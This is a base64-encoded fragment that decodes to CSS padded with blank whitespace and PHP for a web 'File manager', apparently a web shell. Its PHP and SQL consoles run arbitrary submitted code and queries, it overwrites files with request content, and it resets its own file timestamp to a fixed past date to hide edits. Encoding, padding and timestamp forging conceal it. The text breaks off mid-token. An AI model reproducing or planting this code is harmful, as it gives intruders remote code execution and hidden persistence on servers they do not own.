QU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWRGUVRGUkY3ZTN0L2YzOXBKK2YrY0phalY4cTZlbnBrR0ltL3NGTy8rMk8zOTNjNXVibS9zeGJkMjl5aW1kbmVGZzY1T1RrMnpvWTZ1SGkxekFTMWNySnNIczJueWdvM05yYjJMQlhyWXRtMnA1QS8raFhwb1JxcEtPa3dyaTQ2K3ZyME1HMzZZc3o2dWpwbUk2QW56VXl3TCsvbVhWU21JQk44Ynd3ajFWQnlMR3phMVpKME5EUWpZU0IvOU5qd1o2Q3dVQXN4azBiclp5V3c3cG1HWjRBNkx0ZGtIZGYvK044eW93MjdiNVc4N1JOTFpMLzJiaVA3d0FBLy9HSmw1ZVg0TmZZc2FhTGdwNmgxYit0Lys2UjY4RmU4OXljaW1aZC91UXYzcjlOdXBDQjk5VjI1YTFjVkpiYm5IaE8vOHhTK01CYThmRHdpMkppNDhxaS8rcU9kVkl6czM0eC8vR09YSXpZcDVTUC9zeGdxcGlJY3ArL3NpUXBjbXBzdGF5c3pTQU51S0tUOVBUMDR1TGl3SWt5OExkRStzVld2cWFtOGUvdkw1SVorcmxIOGNOZzA4Q2N6N2FkOHZMeTlMdFUxcXlVdVo0K3I1MTIrOHMvd1VwTDNkM2R4N1cxZkdOYS84OVoyY2ZIK3M1bjZPam9iMVl0czdLejE5Zlh3SWc0cDFkTitQajR6TFIwKzhwZDdzdHJoS0FzLzloai85QlYxS3RmdExTMW5wMmRZbEpTWkZWVjVMUldoRUZCNXJoWi85SnEwSHRULy9DU2tJcUo2SzVEK0xOTmJsVlZ2ak0wNDdaTXo3ZTMxeEVHLy8vL3RLZ3U2d0FBQUp0MFVrNVQvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vd0NWVnBLWUFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBTlpKUkVGVUtGTmptS1dpUFFzWk1NeGltc3FQS3BBYjJNc0FaTmpMT3dremdnVm1KWW55cHMvUUU1OWVLQ0V0QmhhWUZSZmpadVRoSDI3bFk2a3FCeFlvclMvT01DNXdpSFprbDJRQ0NWVGtOK3RydEZqNFpTcE1tYXdERkJEMGxDb3luelpCbDFuSUpqNTVFbEJBMDlwZHZjOWJ1VDFTWUtZQld3MVFJQzBvTllzanJGSEpwU2t2UllzQktDQ2JNOUhMTjl0V3JicW5qVVVHWkcxQWhHdUlYWlJ6cFFsM2FHd0QyQjJjWloyekVvTDdXK3U2cXlBdW5aWElPTXZRckZ5a3F3VGlGekJRTk9YajRRS3pvQUt6YWp0WUlRd0FsdnRwbDNWNWM4TUFBQUFBU1VWT1JLNUNZSUk9Iik7DQoNCn0NCkBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NzIwcHgpew0KDQogIHRhYmxle2Rpc3BsYXk6YmxvY2s7fQ0KICAgICNmbV90YWJsZSB0ZHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O30NCg0KICAgICNmbV90YWJsZSB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKzEpe2JhY2tncm91bmQtY29sb3I6I0VGRUZFRjt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKXtiYWNrZ3JvdW5kLWNvbG9yOiNERUUzRTc7fQ0KDQogICAgI2ZtX3RhYmxlIHRye2Rpc3BsYXk6YmxvY2s7ZmxvYXQ6bGVmdDtjbGVhcjpsZWZ0O3dpZHRoOjEwMCU7fQ0KCSAgICAgI2hlYWRlcl90YWJsZSAucm93MiwgI2hlYWRlcl90YWJsZSAucm93MyB7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9DQoNCgkgICAgICNoZWFkZXJfdGFibGUgdGFibGUgdGQge2Rpc3BsYXk6aW5saW5lO2Zsb2F0OmxlZnQ7fQ0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L3N0eWxlPg0KDQo8L2hlYWQ+DQo8Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPD9waHANCiR1cmxfaW5jID0gJz9mbT10cnVlJzsNCmlmIChpc3NldCgkX1BPU1RbJ3NxbHJ1biddKSYmIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9zcWxfY29uc29sZSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJHJlcyA9IGVtcHR5KCRfUE9TVFsnc3FsJ10pID8gJycgOiAkX1BPU1RbJ3NxbCddOw0KDQoJICAgICAkcmVzX2xuZyA9ICdzcWwnOw0KDQp9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydwaHBydW4nXSkmJiFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcGhwX2NvbnNvbGUnXSkpew0KDQoJICAgICAkcmVzID0gZW1wdHkoJF9QT1NUWydwaHAnXSkgPyAnJyA6ICRfUE9TVFsncGhwJ107DQoNCgkgICAgICRyZXNfbG5nID0gJ3BocCc7DQoNCn0gDQoNCmlmIChpc3NldCgkX0dFVFsnZm1fc2V0dGluZ3MnXSkpIHsNCgkgICAgIGVjaG8gJyANCg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQoNCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KDQo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLl9fKCdTZXR0aW5ncycpLic8L3RoPjwvdHI+DQonLihlbXB0eSgkbXNnX2hlYWRlcnMpPycnOic8dHI+PHRkIGNsYXNzPSJyb3cyIiBjb2xzcGFuPSIyIj4nLiRtc2dfaGVhZGVycy4nPC90ZD48L3RyPicpLicNCg0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93IHNpemUgb2YgdGhlIGZvbGRlcicpLCdzaG93X2Rpcl9zaXplJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ3BpY3R1cmVzJyksJ3Nob3dfaW1nJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ01ha2UgZGlyZWN0b3J5JyksJ21ha2VfZGlyZWN0b3J5JykuJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTmV3IGZpbGUnKSwnbmV3X2ZpbGUnKS4nDQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnVXBsb2FkJyksJ3VwbG9hZF9maWxlJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCB2ZXJzaW9uJywnc2hvd19waHBfdmVyJykuJw0KDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCBpbmknLCdzaG93X3BocF9pbmknKS4nDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nICcuX18oJ0dlbmVyYXRpb24gdGltZScpLCdzaG93X2d0JykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyB4bHMnLCdzaG93X3hscycpLicNCg0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyBQSFAgJy5fXygnQ29uc29sZScpLCdlbmFibGVfcGhwX2NvbnNvbGUnKS4nDQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgU1FMICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3NxbF9jb25zb2xlJykuJw0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9zZXJ2ZXJdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfc2VydmVyJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCBzZXJ2ZXI8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9jb25maWdbc3FsX3VzZXJuYW1lXSIgdmFsdWU9IicuJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPlNRTCB1c2VyPC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2NvbmZpZ1tzcWxfcGFzc3dvcmRdIiB2YWx1ZT0iJy4kZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+U1FMIHBhc3N3b3JkPC90ZD48L3RyPg0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fY29uZmlnW3NxbF9kYl0iIHZhbHVlPSInLiRmbV9jb25maWdbJ3NxbF9kYiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj5TUUwgREI8L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUHJveHknLCdlbmFibGVfcHJveHknKS4nDQoNCicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgcGhwaW5mbygpJywnc2hvd19waHBpbmZvJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdTZXR0aW5ncycpLCdmbV9zZXR0aW5ncycpLicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQonLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Jlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmcnKSwncmVzdG9yZV90aW1lJykuJw0KJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdGaWxlIG1hbmFnZXInKS4nOiAnLl9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ2ZtX3Jlc3RvcmVfdGltZScpLicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj48dGQgY2xhc3M9InJvdzMiPjxhIGhyZWY9IicuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlJmZtX2NvbmZpZ19kZWxldGU9dHJ1ZSI+Jy5fXygnUmVzZXQgc2V0dGluZ3MnKS4nPC9hPjwvdGQ+PHRkIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2F2ZScpLiciIG5hbWU9ImZtX2NvbmZpZ1tmbV9zZXRfc3VibWl0XSI+PC90ZD48L3RyPg0KPC9mb3JtPg0KDQo8L3RhYmxlPg0KPHRhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KDQo8dHI+PHRoIGNvbHNwYW49IjIiPicuX18oJ1NldHRpbmdzJykuJyAtICcuX18oJ0F1dGhvcml6YXRpb24nKS4nPC90aD48L3RyPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2F1dGhvcml6ZV0iIHZhbHVlPSIxIiAnLigkYXV0aF9nb3duWydhdXRob3JpemUnXT8nY2hlY2tlZCc6JycpLicgdHlwZT0iY2hlY2tib3giIGlkPSJhdXRoIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iYXV0aCI+Jy5fXygnQXV0aG9yaXphdGlvbicpLic8L2xhYmVsPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9ImZtX2xvZ2luW2xvZ2luXSIgdmFsdWU9IicuJGF1dGhfZ293blsnbG9naW4nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnTG9naW4nKS4nPC90ZD48L3RyPg0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iZm1fbG9naW5bcGFzc3dvcmRdIiB2YWx1ZT0iJy4kYXV0aF9nb3duWydwYXNzd29yZCddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdQYXNzd29yZCcpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltjb29raWVfbmFtZV0iIHZhbHVlPSInLiRhdXRoX2dvd25bJ2Nvb2tpZV9uYW1lJ10uJyIgdHlwZT0idGV4dCI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ0Nvb2tpZScpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSJmbV9sb2dpbltkYXlzX2F1dGhvcml6YXRpb25dIiB2YWx1ZT0iJy4kYXV0aF9nb3duWydkYXlzX2F1dGhvcml6YXRpb24nXS4nIiB0eXBlPSJ0ZXh0Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnRGF5cycpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY2xhc3M9InJvdzEiPjx0ZXh0YXJlYSBuYW1lPSJmbV9sb2dpbltzY3JpcHRdIiBjb2xzPSIzNSIgcm93cz0iNyIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBpZD0iYXV0aF9zY3JpcHQiPicuJGF1dGhfZ293blsnc2NyaXB0J10uJzwvdGV4dGFyZWE+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1NjcmlwdCcpLic8L3RkPjwvdHI+DQoNCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgPjwvdGQ+PC90cj4NCg0KPC9mb3JtPg0KDQo8L3RhYmxlPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvIGZtX3RwbF9mb3JtKCdwaHAnKSxmbV90cGxfZm9ybSgnc3FsJyk7DQp9IGVsc2VpZiAoaXNzZXQoJHByb3h5X2Zvcm0pKSB7DQoNCgkgICAgIGRpZSgkcHJveHlfZm9ybSk7DQoNCn0gZWxzZWlmIChpc3NldCgkcmVzX2xuZykpIHsJICAgICANCg0KPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQo8dHI+DQoNCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPg0KDQo8L3RyPg0KPHRyPg0KDQogICAgPHRkIGNsYXNzPSJyb3cyIj48dGFibGU+PHRyPjx0ZD48aDI+PD89c3RydG91cHBlcigkcmVzX2xuZyk/PiA8Pz1fXygnQ29uc29sZScpPz48P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZigkcmVzX2xuZz09J3NxbCcpIGVjaG8gJyAtIERhdGFiYXNlOiAnLiRmbV9jb25maWdbJ3NxbF9kYiddLic8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdwaHAnKTsNCg0KCSAgICAgZWxzZSBlY2hvICc8L2gyPjwvdGQ+PHRkPicuZm1fcnVuX2lucHV0KCdzcWwnKTsNCgkgICAgID8+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQoNCgkgICAgIAkgICAgIDxhIGhyZWY9Ijw/PSR1cmxfaW5jLicmcGF0aD0nIC4gJHBhdGg7Pz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4NCg0KCSAgICAgCSAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCIgbmFtZT0iY29uc29sZSI+DQoNCgkgICAgIAkgICAgIDx0ZXh0YXJlYSBuYW1lPSI8Pz0kcmVzX2xuZz8+IiBjb2xzPSI4MCIgcm93cz0iMTAiIHN0eWxlPSJ3aWR0aDogOTAlIj48Pz0kcmVzPz48L3RleHRhcmVhPjxici8+DQoNCgkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9Ijw/PV9fKCdSZXNldCcpPz4iPg0KCSAgICAgCSAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+IiBuYW1lPSI8Pz0kcmVzX2xuZz8+cnVuIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPD9waHANCg0KJHN0cl90bXBsID0gJHJlc19sbmcuJ190ZW1wbGF0ZXMnOw0KJHRtcGwgPSAhZW1wdHkoJCRzdHJfdG1wbCkgPyBqc29uX2RlY29kZSgkJHN0cl90bXBsLHRydWUpIDogJyc7DQoNCmlmICghZW1wdHkoJHRtcGwpKXsNCgkgICAgICRhY3RpdmUgPSBpc3NldCgkX1BPU1RbJHJlc19sbmcuJ190cGwnXSkgPyAkX1BPU1RbJHJlc19sbmcuJ190cGwnXSA6ICcnOw0KDQoJICAgICAkc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT0iJy4kcmVzX2xuZy4nX3RwbCIgdGl0bGU9IicuX18oJ1RlbXBsYXRlJykuJyIgb25jaGFuZ2U9ImlmICh0aGlzLnZhbHVlIT0tMSkgZG9jdW1lbnQuZm9ybXNbXCdjb25zb2xlXCddLmVsZW1lbnRzW1wnJy4kcmVzX2xuZy4nXCddLnZhbHVlID0gdGhpcy5vcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlOyBlbHNlIGRvY3VtZW50LmZvcm1zW1wnY29uc29sZVwnXS5lbGVtZW50c1tcJycuJHJlc19sbmcuJ1wnXS52YWx1ZSA9XCdcJzsiID4nLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkc2VsZWN0IC49ICc8b3B0aW9uIHZhbHVlPSItMSI+JyAuIF9fKCdTZWxlY3QnKSAuICI8L29wdGlvbj5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBmb3JlYWNoICgkdG1wbCBhcyAka2V5PT4kdmFsdWUpew0KDQoJICAgICAJICAgICAkc2VsZWN0Lj0nPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oKCFlbXB0eSgkdmFsdWUpJiYoJHZhbHVlPT0kYWN0aXZlKSk/J3NlbGVjdGVkJzonJykuJyA+Jy5fXygka2V5KS4iPC9vcHRpb24+XG4iOw0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRzZWxlY3QgLj0gIjwvc2VsZWN0PlxuIjsNCg0KCSAgICAgZWNobyAkc2VsZWN0Ow0KDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPz4NCg0KCSAgICAgCSAgICAgPC9mb3JtPg0KCSAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC90YWJsZT4NCg0KPD9waHANCgkgICAgIGlmICghZW1wdHkoJHJlcykpIHsNCg0KCSAgICAgCSAgICAgJGZ1bj0nZm1fJy4kcmVzX2xuZzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBlY2hvICc8aDM+Jy5zdHJ0b3VwcGVyKCRyZXNfbG5nKS4nICcuX18oJ1Jlc3VsdCcpLic8L2gzPjxwcmU+Jy4kZnVuKCRyZXMpLic8L3ByZT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydlZGl0J10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsNCg0KCSAgICAgCSAgICAgJGZuID0gJHBhdGggLiAkX1JFUVVFU1RbJ2VkaXQnXTsNCg0KCSAgICAgCSAgICAgJGZpbGVtdGltZSA9IGZpbGVtdGltZSgkZm4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmbiwgJF9SRVFVRVNUWyduZXdjb250ZW50J10pKSAkbXNnX2hlYWRlcnMgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KDQoJICAgICAJICAgICBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgkgICAgIAkgICAgIGlmICgkX0dFVFsnZWRpdCddPT1iYXNlbmFtZShfX0ZJTEVfXykpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgdG91Y2goX19GSUxFX18sMTQxNTExNjM3MSk7DQoNCgkgICAgIAkgICAgIH0gZWxzZSB7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1sncmVzdG9yZV90aW1lJ10pKSB0b3VjaCgkZm4sJGZpbGVtdGltZSk7DQoNCgkgICAgIAkgICAgIH0NCgkgICAgIH0NCiAgICAkb2xkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cy